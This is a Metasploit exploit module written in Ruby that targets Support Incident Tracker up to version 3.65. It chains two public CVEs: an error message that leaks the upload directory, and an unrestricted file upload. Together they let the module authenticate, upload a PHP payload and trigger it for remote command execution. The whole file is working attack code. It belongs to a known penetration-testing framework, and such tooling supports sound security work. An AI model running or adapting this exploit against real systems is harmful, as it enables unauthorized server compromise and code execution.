##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Support Incident Tracker <= 3.65 Remote Command Execution',
			'Description'    => %q{
					This module combines two separate issues within Support Incident Tracker (<= 3.65)
				application to upload arbitrary data and thus execute a shell. The two issues exist
				in ftp_upload_file.php.
				The first vulnerability exposes the upload dir used to store attachments.
				The second vulnerability allows arbitrary file upload since there is no
				validation function to prevent from uploading any file type.
				Authentication is required to exploit both vulnerabilities.
			},
			'Author'         =>
				[
					'Secunia Research', # Original discovery
					'juan vazquez'      # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2011-3829'],
					['CVE', '2011-3833'],
					['OSVDB', '76999'],
					['OSVDB', '77003'],
					['URL', 'http://secunia.com/secunia_research/2011-75/'],
					['URL', 'http://secunia.com/secunia_research/2011-79/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						}
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 10 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "SiT! directory path", "/sit"]),
				OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
			], self.class)
	end

	def check

		uri = normalize_uri(datastore['URI'], "index.php")

		res = send_request_raw({
			'uri'     => uri
		})

		if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
			ver = [ $1.to_i, $2.to_i ]
			print_status("SiT! #{ver[0]}.#{ver[1]}")

			if (ver[0] == 3 and ver[1] == 65)
				return Exploit::CheckCode::Vulnerable
			elsif (ver[0] == 3 and ver[1] < 65)
				return Exploit::CheckCode::Appears
			end
		end

		return Exploit::CheckCode::Safe
	end

	def retrieve_session(user, pass)

		uri = normalize_uri(datastore['URI'], "login.php")

		res = send_request_cgi({
			'uri'     => uri,
			'method'  => 'POST',
			'data'    => "username=#{user}&password=#{pass}",
		}, 25)

		if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
			print_status("Successfully logged in as #{user}:#{pass}")

			if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
				session = $1
				print_status("Successfully retrieved cookie: #{session}")
				return session
			else
				fail_with(Exploit::Failure::Unknown, "Error retrieving cookie!")
			end
		else
			fail_with(Exploit::Failure::Unknown, "Error logging in.")
		end
	end

	def upload_page(session, newpage, contents)

		uri = normalize_uri(datastore['URI'], "ftp_upload_file.php")

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"file\"; "
		data << "filename=\"#{newpage}\"\r\n"
		data << "Content-Type: application/x-httpd-php\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
		data << rand_text_alphanumeric(rand(10 + 10))
		data << "\r\n--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
		data << rand_text_alphanumeric(rand(20) + 20)
		data << "\r\n--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
		data << "1"
		data << "\r\n--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
		data << "publish"
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => uri,
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie'	 => "SiTsessionID=#{session}",
			}
		}, 25)

		if (res and res.code == 200)
			print_status("Successfully uploaded #{newpage}")
			return res
		else
			fail_with(Exploit::Failure::Unknown, "Error uploading #{newpage}")
		end
	end

	def retrieve_upload_dir(session)
		data =  rand_text_alphanumeric(rand(20)+20)
		filename = rand_text_alphanumeric(rand(256) + 300)
		res = upload_page(session, filename, data)

		if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
			upload_dir = "attachments-#{$1}"
			print_status("Successfully retrieved upload dir: #{upload_dir}")
			return upload_dir
		else
			fail_with(Exploit::Failure::Unknown, "Error retrieving the upload dir")
		end

	end

	def cmd_shell(cmdpath)
		print_status("Calling payload: #{cmdpath}")

		uri = normalize_uri(datastore['URI'], cmdpath)

		send_request_raw({
			'uri'	=> uri
		}, 25)
		return
	end

	def exploit
		cmd_php = '<?php ' + payload.encoded + '?>'
		cmdscript   = rand_text_alphanumeric(rand(10)+10) + '.php'
		user        = datastore['USERNAME']
		pass        = datastore['PASSWORD']

		session = retrieve_session(user, pass)
		upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
		upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
		cmdpath = "#{upload_dir}/#{cmdscript}"
		cmd_shell(cmdpath)
		handler
	end
end
